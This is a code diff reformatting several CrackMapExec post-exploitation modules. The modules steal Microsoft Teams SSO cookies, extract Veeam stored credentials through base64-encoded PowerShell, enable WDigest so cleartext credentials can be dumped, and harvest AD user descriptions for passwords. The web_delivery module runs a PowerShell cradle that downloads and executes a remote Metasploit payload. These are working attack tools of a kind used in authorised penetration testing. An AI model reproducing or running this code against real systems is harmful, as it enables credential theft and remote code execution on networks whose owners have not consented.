description = 'Retrieves the different Sites and Subnets of an Active Directory'
|
||||
supported_protocols = ['ldap']
|
||||
name = "subnets"
|
||||
description = "Retrieves the different Sites and Subnets of an Active Directory"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')][-2:])
|
||||
dn = ",".join(["DC=%s" % part for part in connection.domain.split(".")][-2:])
|
||||
|
||||
context.log.display('Getting the Sites and Subnets from domain')
|
||||
context.log.display("Getting the Sites and Subnets from domain")
|
||||
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase="CN=Configuration,%s" % dn,
|
||||
searchFilter='(objectClass=site)',
|
||||
attributes=['distinguishedName', 'name', 'description'],
|
||||
sizeLimit=999
|
||||
searchFilter="(objectClass=site)",
|
||||
attributes=["distinguishedName", "name", "description"],
|
||||
sizeLimit=999,
|
||||
)
|
||||
for site in list_sites:
|
||||
if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(site)
|
||||
site_dn = site['distinguishedName']
|
||||
site_name = site['name']
|
||||
site_dn = site["distinguishedName"]
|
||||
site_name = site["name"]
|
||||
site_description = ""
|
||||
if "description" in site.keys():
|
||||
site_description = site['description']
|
||||
site_description = site["description"]
|
||||
# Getting subnets of this site
|
||||
list_subnets = connection.ldapConnection.search(
|
||||
searchBase="CN=Sites,CN=Configuration,%s" % dn,
|
||||
searchFilter='(siteObject=%s)' % site_dn,
|
||||
attributes=['distinguishedName', 'name'],
|
||||
sizeLimit=999
|
||||
searchFilter="(siteObject=%s)" % site_dn,
|
||||
attributes=["distinguishedName", "name"],
|
||||
sizeLimit=999,
|
||||
)
|
||||
if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
|
||||
context.log.highlight("Site \"%s\"" % site_name)
|
||||
context.log.highlight('Site "%s"' % site_name)
|
||||
else:
|
||||
for subnet in list_subnets:
|
||||
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
subnet = searchResEntry_to_dict(subnet)
|
||||
subnet_dn = subnet['distinguishedName']
|
||||
subnet_name = subnet['name']
|
||||
subnet_dn = subnet["distinguishedName"]
|
||||
subnet_name = subnet["name"]
|
||||
|
||||
if self.showservers:
|
||||
# Getting machines in these subnets
|
||||
list_servers = connection.ldapConnection.search(
|
||||
searchBase=site_dn,
|
||||
searchFilter='(objectClass=server)',
|
||||
attributes=['cn'],
|
||||
sizeLimit=999
|
||||
searchFilter="(objectClass=server)",
|
||||
attributes=["cn"],
|
||||
sizeLimit=999,
|
||||
)
|
||||
if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
|
||||
else:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
|
||||
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
|
||||
else:
|
||||
for server in list_servers:
|
||||
if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
server = searchResEntry_to_dict(server)['cn']
|
||||
server = searchResEntry_to_dict(server)["cn"]
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server))
|
||||
context.log.highlight(
|
||||
'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)'
|
||||
% (
|
||||
site_name,
|
||||
subnet_name,
|
||||
site_description,
|
||||
server,
|
||||
)
|
||||
)
|
||||
else:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server))
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server))
|
||||
else:
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
|
||||
else:
|
||||
context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
|
||||
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
|
||||
|
||||
@@ -5,45 +5,43 @@ import sqlite3
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'teams_localdb'
|
||||
name = "teams_localdb"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
context.log.display('Killing all Teams process to open the cookie file')
|
||||
context.log.display("Killing all Teams process to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
#sleep(3)
|
||||
# sleep(3)
|
||||
found = 0
|
||||
paths = connection.spider('C$', folder='Users', regex=['[a-zA-Z0-9]*'], depth=0)
|
||||
with open("/tmp/teams_cookies2.txt","wb") as f:
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open("/tmp/teams_cookies2.txt", "wb") as f:
|
||||
for path in paths:
|
||||
try:
|
||||
connection.conn.getFile('C$', path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
|
||||
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
|
||||
context.log.highlight("Found Cookie file in path " + path)
|
||||
found = 1
|
||||
self.parse_file(context, 'skypetoken_asm')
|
||||
self.parse_file(context, 'SSOAUTHCOOKIE')
|
||||
self.parse_file(context, "skypetoken_asm")
|
||||
self.parse_file(context, "SSOAUTHCOOKIE")
|
||||
f.seek(0)
|
||||
f.trunkate()
|
||||
except Exception as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
context.log.debug(str(e))
|
||||
context.log.highlight("Found Cookie file in path " + path)
|
||||
context.log.fail('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database')
|
||||
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
|
||||
if found == 0:
|
||||
context.log.display('No cookie file found in Users folder')
|
||||
context.log.display("No cookie file found in Users folder")
|
||||
|
||||
@staticmethod
|
||||
def parse_file(context, name):
|
||||
try:
|
||||
conn = sqlite3.connect('/tmp/teams_cookies2.txt')
|
||||
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
|
||||
row = c.fetchone()
|
||||
|
||||
@@ -3,38 +3,41 @@
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Executes the Test-Connection PowerShell cmdlet
|
||||
Module by @byt3bl33d3r
|
||||
Executes the Test-Connection PowerShell cmdlet
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = 'test_connection'
|
||||
name = "test_connection"
|
||||
description = "Pings a host"
|
||||
supported_protocols = ['smb', 'mssql']
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
HOST Host to ping
|
||||
HOST Host to ping
|
||||
"""
|
||||
self.host = None
|
||||
|
||||
if 'HOST' not in module_options:
|
||||
context.log.fail('HOST option is required!')
|
||||
if "HOST" not in module_options:
|
||||
context.log.fail("HOST option is required!")
|
||||
exit(1)
|
||||
|
||||
self.host = module_options['HOST']
|
||||
self.host = module_options["HOST"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = 'Test-Connection {} -quiet -count 1'.format(self.host)
|
||||
# $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1"
|
||||
|
||||
output = connection.ps_execute(command, get_output=True)
|
||||
output = connection.ps_execute(command, get_output=True)[0]
|
||||
|
||||
if output:
|
||||
output = output.strip()
|
||||
if bool(output) is True:
|
||||
context.log.success('Pinged successfully')
|
||||
elif bool(output) is False:
|
||||
context.log.fail('Host unreachable')
|
||||
context.log.debug(f"Output: {output}")
|
||||
context.log.debug(f"Type: {type(output)}")
|
||||
|
||||
if output == "True":
|
||||
context.log.success("Pinged successfully")
|
||||
else:
|
||||
context.log.fail("Host unreachable")
|
||||
|
||||
+11
-8
@@ -19,23 +19,26 @@ class CMEModule:
|
||||
logging.debug("test")
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
|
||||
keyHandle = ans['phkResult']
|
||||
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA")
|
||||
|
||||
if uac_value == 1:
|
||||
context.log.highlight('UAC Status: 1 (UAC Enabled)')
|
||||
context.log.highlight("UAC Status: 1 (UAC Enabled)")
|
||||
elif uac_value == 0:
|
||||
context.log.highlight('UAC Status: 0 (UAC Disabled)')
|
||||
context.log.highlight("UAC Status: 0 (UAC Disabled)")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
|
||||
+23
-23
@@ -13,6 +13,7 @@ class CMEModule:
|
||||
|
||||
Module by Tobias Neitzel (@qtc_de)
|
||||
"""
|
||||
|
||||
name = "user-desc"
|
||||
description = "Get user descriptions stored in Active Directory"
|
||||
supported_protocols = ["ldap"]
|
||||
@@ -41,31 +42,31 @@ class CMEModule:
|
||||
self.desc_count = 0
|
||||
self.context = context
|
||||
self.account_names = set()
|
||||
self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'}
|
||||
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
|
||||
|
||||
if 'LDAP_FILTER' in module_options:
|
||||
if "LDAP_FILTER" in module_options:
|
||||
self.search_filter = module_options["LDAP_FILTER"]
|
||||
else:
|
||||
self.search_filter = "(&(objectclass=user)"
|
||||
|
||||
if 'DESC_FILTER' in module_options:
|
||||
if "DESC_FILTER" in module_options:
|
||||
self.search_filter += f"(description={module_options['DESC_FILTER']})"
|
||||
|
||||
if 'DESC_INVERT' in module_options:
|
||||
if "DESC_INVERT" in module_options:
|
||||
self.search_filter += f"(!(description={module_options['DESC_INVERT']}))"
|
||||
|
||||
if 'USER_FILTER' in module_options:
|
||||
if "USER_FILTER" in module_options:
|
||||
self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})"
|
||||
|
||||
if 'USER_INVERT' in module_options:
|
||||
if "USER_INVERT" in module_options:
|
||||
self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))"
|
||||
|
||||
self.search_filter += ")"
|
||||
|
||||
if 'KEYWORDS' in module_options:
|
||||
self.keywords = set(module_options['KEYWORDS'].split(','))
|
||||
elif 'ADD_KEYWORDS' in module_options:
|
||||
add_keywords = set(module_options['ADD_KEYWORDS'].split(','))
|
||||
if "KEYWORDS" in module_options:
|
||||
self.keywords = set(module_options["KEYWORDS"].split(","))
|
||||
elif "ADD_KEYWORDS" in module_options:
|
||||
add_keywords = set(module_options["ADD_KEYWORDS"].split(","))
|
||||
self.keywords = self.keywords.union(add_keywords)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -80,10 +81,10 @@ class CMEModule:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
connection.ldapConnection.search(
|
||||
searchFilter=self.search_filter,
|
||||
attributes=['sAMAccountName', 'description'],
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
searchControls=[sc],
|
||||
perRecordCallback=self.process_record
|
||||
perRecordCallback=self.process_record,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Obtained unexpected exception: {str(e)}")
|
||||
@@ -95,10 +96,10 @@ class CMEModule:
|
||||
Create a log file for dumping user descriptions.
|
||||
"""
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile)
|
||||
logfile = Path.home().joinpath(".cme").joinpath("logs").joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
self.log_file = open(logfile, 'w')
|
||||
self.log_file = open(logfile, "w")
|
||||
self.append_to_log("User:", "Description:")
|
||||
|
||||
def delete_log_file(self):
|
||||
@@ -133,18 +134,17 @@ class CMEModule:
|
||||
if not isinstance(item, ldapasn1.SearchResultEntry):
|
||||
return
|
||||
|
||||
sAMAccountName = ''
|
||||
description = ''
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
|
||||
elif str(attribute['type']) == 'description':
|
||||
description = attribute['vals'][0].asOctets().decode('utf-8')
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = attribute["vals"][0].asOctets().decode("utf-8")
|
||||
except Exception as e:
|
||||
entry = sAMAccountName or 'item'
|
||||
entry = sAMAccountName or "item"
|
||||
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'")
|
||||
|
||||
if description and sAMAccountName not in self.account_names:
|
||||
|
||||
+25
-20
@@ -10,19 +10,21 @@ import traceback
|
||||
from base64 import b64encode
|
||||
from cme.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Module by @NeffIsBack
|
||||
Module by @NeffIsBack
|
||||
|
||||
"""
|
||||
name = 'veeam'
|
||||
description = 'Extracts credentials from local Veeam SQL Database'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
|
||||
name = "veeam"
|
||||
description = "Extracts credentials from local Veeam SQL Database"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
with open(get_ps_script('veeam_dump_module/veeam-creds_dump.ps1'), 'r') as psFile:
|
||||
with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile:
|
||||
self.psScript = psFile.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -36,23 +38,27 @@ class CMEModule:
|
||||
SqlDatabase = ""
|
||||
SqlInstance = ""
|
||||
SqlServer = ""
|
||||
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Veeam\\Veeam Backup and Replication')
|
||||
keyHandle = ans['phkResult']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlDatabaseName')[1].split('\x00')[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlInstanceName')[1].split('\x00')[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlServerName')[1].split('\x00')[:-1][0]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Veeam\\Veeam Backup and Replication",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
except DCERPCException as e:
|
||||
if str(e).find('ERROR_FILE_NOT_FOUND'):
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.fail("No Veeam installation found")
|
||||
except:
|
||||
context.log.fail("UNEXPECTED ERROR:")
|
||||
@@ -60,7 +66,7 @@ class CMEModule:
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
return [SqlDatabase, SqlInstance, SqlServer]
|
||||
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
@@ -68,7 +74,7 @@ class CMEModule:
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
psScipt_b64 = b64encode(self.psScript.encode('UTF-16LE')).decode('utf-8')
|
||||
psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
# Format ouput if returned in some XML Format
|
||||
@@ -86,11 +92,10 @@ class CMEModule:
|
||||
for account in output_stripped:
|
||||
user, password = account.split(" ", 1)
|
||||
context.log.highlight(user + ":" + password)
|
||||
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
|
||||
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlServer, SqlInstance))
|
||||
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance))
|
||||
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
|
||||
+48
-27
@@ -6,33 +6,33 @@ from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'wdigest'
|
||||
class CMEModule:
|
||||
name = "wdigest"
|
||||
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Create/Delete the registry key (choices: enable, disable)
|
||||
ACTION Create/Delete the registry key (choices: enable, disable)
|
||||
"""
|
||||
|
||||
if not 'ACTION' in module_options:
|
||||
context.log.fail('ACTION option not specified!')
|
||||
if not "ACTION" in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
if module_options['ACTION'].lower() not in ['enable', 'disable']:
|
||||
context.log.fail('Invalid value for ACTION option!')
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("Invalid value for ACTION option!")
|
||||
exit(1)
|
||||
|
||||
self.action = module_options['ACTION'].lower()
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.action == 'enable':
|
||||
if self.action == "enable":
|
||||
self.wdigest_enable(context, connection.conn)
|
||||
elif self.action == 'disable':
|
||||
elif self.action == "disable":
|
||||
self.wdigest_disable(context, connection.conn)
|
||||
|
||||
def wdigest_enable(self, context, smbconnection):
|
||||
@@ -41,17 +41,27 @@ class CMEModule:
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"UseLogonCredential\x00",
|
||||
rrp.REG_DWORD,
|
||||
1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
|
||||
|
||||
if int(data) == 1:
|
||||
context.log.success('UseLogonCredential registry key created successfully')
|
||||
context.log.success("UseLogonCredential registry key created successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
@@ -64,15 +74,23 @@ class CMEModule:
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
try:
|
||||
rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
|
||||
rrp.hBaseRegDeleteValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"UseLogonCredential\x00",
|
||||
)
|
||||
except:
|
||||
context.log.success('UseLogonCredential registry key not present')
|
||||
context.log.success("UseLogonCredential registry key not present")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
@@ -82,13 +100,16 @@ class CMEModule:
|
||||
return
|
||||
|
||||
try:
|
||||
#Check to make sure the reg key is actually deleted
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
|
||||
# Check to make sure the reg key is actually deleted
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"UseLogonCredential\x00",
|
||||
)
|
||||
except DCERPCException:
|
||||
context.log.success('UseLogonCredential registry key deleted successfully')
|
||||
|
||||
context.log.success("UseLogonCredential registry key deleted successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
+16
-15
@@ -3,17 +3,18 @@
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
|
||||
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
||||
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
|
||||
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
||||
|
||||
Module by @byt3bl33d3r
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = 'web_delivery'
|
||||
description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module'
|
||||
supported_protocols = ['smb', 'mssql']
|
||||
name = "web_delivery"
|
||||
description = "Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -23,23 +24,23 @@ class CMEModule:
|
||||
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
|
||||
"""
|
||||
|
||||
if not 'URL' in module_options:
|
||||
context.log.fail('URL option is required!')
|
||||
if not "URL" in module_options:
|
||||
context.log.fail("URL option is required!")
|
||||
exit(1)
|
||||
|
||||
self.url = module_options['URL']
|
||||
self.url = module_options["URL"]
|
||||
|
||||
self.payload = "64"
|
||||
if 'PAYLOAD' in module_options:
|
||||
if module_options['PAYLOAD'] not in ['64', '32']:
|
||||
context.log.fail('Invalid value for PAYLOAD option!')
|
||||
if "PAYLOAD" in module_options:
|
||||
if module_options["PAYLOAD"] not in ["64", "32"]:
|
||||
context.log.fail("Invalid value for PAYLOAD option!")
|
||||
exit(1)
|
||||
self.payload = module_options['PAYLOAD']
|
||||
self.payload = module_options["PAYLOAD"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
|
||||
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url)
|
||||
if self.payload == "32":
|
||||
connection.ps_execute(ps_command, force_ps32=True)
|
||||
else:
|
||||
connection.ps_execute(ps_command, force_ps32=False)
|
||||
context.log.success('Executed web-delivery launcher')
|
||||
context.log.success("Executed web-delivery launcher")
|
||||
|
||||
+10
-9
@@ -6,6 +6,7 @@ from impacket import nt_errors
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Enumerate whether the WebClient service is running on the target by looking for the
|
||||
@@ -13,20 +14,21 @@ class CMEModule:
|
||||
|
||||
Module by Tobias Neitzel (@qtc_de)
|
||||
"""
|
||||
name = 'webdav'
|
||||
description = 'Checks whether the WebClient service is running on the target'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
|
||||
name = "webdav"
|
||||
description = "Checks whether the WebClient service is running on the target"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
MSG Info message when the WebClient service is running. '{}' is replaced by the target.
|
||||
"""
|
||||
self.output = 'WebClient Service enabled on: {}'
|
||||
self.output = "WebClient Service enabled on: {}"
|
||||
|
||||
if 'MSG' in module_options:
|
||||
self.output = module_options['MSG']
|
||||
if "MSG" in module_options:
|
||||
self.output = module_options["MSG"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
@@ -34,7 +36,7 @@ class CMEModule:
|
||||
that the WebClient service is running on the target.
|
||||
"""
|
||||
try:
|
||||
remote_file = RemoteFile(connection.conn, 'DAV RPC Service', 'IPC$', access=FILE_READ_DATA)
|
||||
remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA)
|
||||
|
||||
remote_file.open()
|
||||
remote_file.close()
|
||||
@@ -42,7 +44,6 @@ class CMEModule:
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost()))
|
||||
|
||||
